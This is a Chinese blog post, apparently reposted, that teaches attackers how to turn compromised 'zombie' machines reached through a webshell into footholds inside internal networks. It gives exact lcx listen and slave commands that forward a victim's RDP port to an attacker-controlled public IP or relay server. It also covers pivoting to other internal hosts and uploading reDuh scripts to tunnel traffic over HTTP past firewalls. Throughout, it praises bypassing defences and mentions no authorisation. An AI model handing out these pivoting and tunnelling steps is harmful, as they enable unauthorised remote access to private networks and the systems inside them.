昔日

端口转发

ch7ss's Blog:

 
 0x00  lcx 
     常常,我们在渗透过程中会遇到处于内网之中的计算机,然后可以通过webshell访问到这台计算机,通常,大家这个时候就会想办法转发端口出来,当然,国内最有名的算是lcx了,可以做端口转发,我们这些小白也喜欢用这个,呵呵,下面是这个工具的使用说明: 
 
[Usage of Packet Transmit:] 
lcx -<listen|tran|slave> <option> [-log logfile] 
 
[option:] 
 -listen <ConnectPort> <TransmitPort> 
 -tran   <ConnectPort> <TransmitHost> <TransmitPort> 
 -slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort> 
 
 0x01  连接肉鸡 
用法呢,很简单,比如你的ip地址是:111.222.333.444(这是一个在公网上的ip地址) 
肉鸡的处于内网中,那么你就可以在本机执行 
 
lcx -listen 4567 33891
 
意思就是监听同时监听4567,33891端口,并把两个端口的数据流连接起来,执行完以后,lcx便处于监听状态 
 
然后从肉鸡上执行 
 
lcx -slave 111.222.333.444 4567 127.0.0.1 3389
 
意思就是把肉鸡本机的3389端口的数据,转向 111.222.333.444 的 4567 端口 
 
之后你就能在本机看到 lcx 有数据链接过来,然后你打开 mstsc 连接本机的 33891端口,也就是直接连接 127.0.0.1:33891 就好了,这时候就能连上内网中的机器了 
 
 0x02  肉鸡做跳板 
 当内网中存在别的计算机时,也可以通过lcx转发出来,用法也是一样的,只需要在这么改就好了 
 
lcx -slave 111.222.333.444 4567 要连接的内网计算机ip 端口 
 
这里的端口呢,可以是机器的 3389 或者 其他别的端口,比如80,也就相当于你用这台计算机当跳板来访问内网~ ,是不是很简单?  所以大家学工具的时候别只会照着别人做,要融会贯通~ 
 
 
 0x03 自己在内网 
  
  上面说了,做转发的时候,需要自己在外网才能那么做,但是,情况往往没那么顺利,当我们在内网的时候该怎么办呢?  放弃么? 当然不是! 我们也有办法,当然也是有个条件的,需要自己有一台用做转发数据的外网计算机,嘿嘿,当然也可以让你在外网环境的朋友帮你转发(千万别干坏事哦,不然你朋友会遭殃的~),下面简单说下 
 
首先,在外网服务器上运行(假设服务器ip地址为222.333.444.555) 
 
lcx -listen 1234 4567
意思呢跟上面以上,之后同样上面的操作,把肉鸡的端口转发出来,在shell里面运行 
 
lcx -slave 222.333.444.555 1234 127.0.0.1 3389
 
之后你就可以看到在服务器上1234端口传过来的数据,(这里的端口是 1-66535端口随意选择一个没有被占用的就好了),之后的操作就是。 直接用 mstsc 连接服务器的4567端口,也就是 
 
222.333.444.555:4567
 
这样就连接到你要连接的服务器了。(我感觉我说这个有点废话了,很容易吧?你有木有想到呢 O(∩_∩)O~) 
 
 0x10 reduh 
 
    当然,上面的方法不能解决所有的问题,比如这种情况,内网服务器通过做防火墙,只允许从固定的 比如从80端口传输数据,或者内网服务器根本就没有联网,而是通过代理把服务映射出去了,这个时候用lcx就不能达到我们的目的了,这时候怎么办呢,对,用老外写的神器 reduh
 
 0x11 介绍 
这里简单的介绍一下reduh: 
reduh是由国外一个名叫Glenn Wilkinson的安全人员编写的一个通过HTTP协议建立隧道传输各种其他数据的工具。运行于服务器的脚本接受HTTP请求,在本地转发给相应的端口,并接受本地端口的数据再通过HTTP发送给远程客户端。 这样本来应该走其他端口的数据变摇身一变,披上了HTTP协议的报文头,换走HTTP的端口了。所有HTTP通道中的数据都是经过Base64编码的(Base64可以将二进制数据转换成ASCII字符序列,并且可以解码还原)。下面这张图详细地说明了reDuh的工作流程 



 
 
 0x12 用法

    ruduh有一个client端,还有一个servers端,在server端有三种脚本,分别是 reDuh.aspx reDuh.jsp reDuh.php 三个类型的文件,使用的时候只需要通过我们的webshell把相应的脚本传送至服务器。之后在我们在自己机器上运行客户端建立连接: 
 
java -jar reDuhClient.jar http://blog.sina.com.cn/u/3098217154/reDuh.php (url连接对应的服务端地址)。 
之后我们会看到产生输出: 
[Info]Querying remote web page for usable remote service port
[Info]Remote RPC port chosen as 42000
[Info]Attempting to start reDuh from blog.sina.com.cn/u/3098217154/reDuh.php. Using service port 42000. Please wait...  
[Info]reDuhClient service listener started on local port 1010
 
   这时候我们登录进本机的1010端口,可以用nc或者用telnet,这里用nc为例说明吧 
   本地nc执行 
 
nc -vv localhost 1010
 


    连接成功会有欢迎提示,之后输入命令


>>[createTunnel]1234:127.0.0.1:3389


    前面的1234是本机连接用的端口,中间的ip地址是目标服务器的(可以是webshell所在服务器也可以是和它同内网的服务器),后面的3389是欲连接目标服务器的端口。


    这时候我们便可以打开远程桌面连接,连接127.0.0.1:1234,然后就能看到熟悉的界面了。java的控制台会不断输出运行信息。因为绕了很多弯的缘故,所以远程桌面的速度并不快,但是关键是,连上了!


    当需要断开连接的时候,我们只需要输入[killReDuh]即可。




0x13 另用


    悄悄告诉你,reduh不光用在这个情况,也就是用lcx的第三种情况,当你跟肉鸡都在内网而你手里没有外网服务器的时候肿么办呢?这时候可以试试用reduh哦!虽然速度不是怎么快,呵呵




0x30 总结


   在渗透过程中,隧道是个好东西!大家知道利用国外服务器的SSH隧道可以用来访问某些被“防火墙”挡住的国外网站的话,一定会觉得这似乎很熟悉。没错,只不过本文是使用的HTTP的80端口,而那是利用的SSH的22端口,采用的协议不同而已。通过隧道绕过防火墙的限制,在原本不属于自己的道路上跑运输,有木有感觉很爽?哈哈,还有在学习渗透的时候要注意总结,积累各种经验,知其然而且要知其所以然,祝福各位早日成大牛~~




希望以上所述能解决你碰到的问题~




本文工具连接 http://pan.baidu.com/s/1imPz


本文转自:http://blog.sina.com.cn/ridte

评论

热度(2)

  1. 昔日ch7ss's Blog 转载了此文字
  2. crazyunclech7ss's Blog 转载了此文字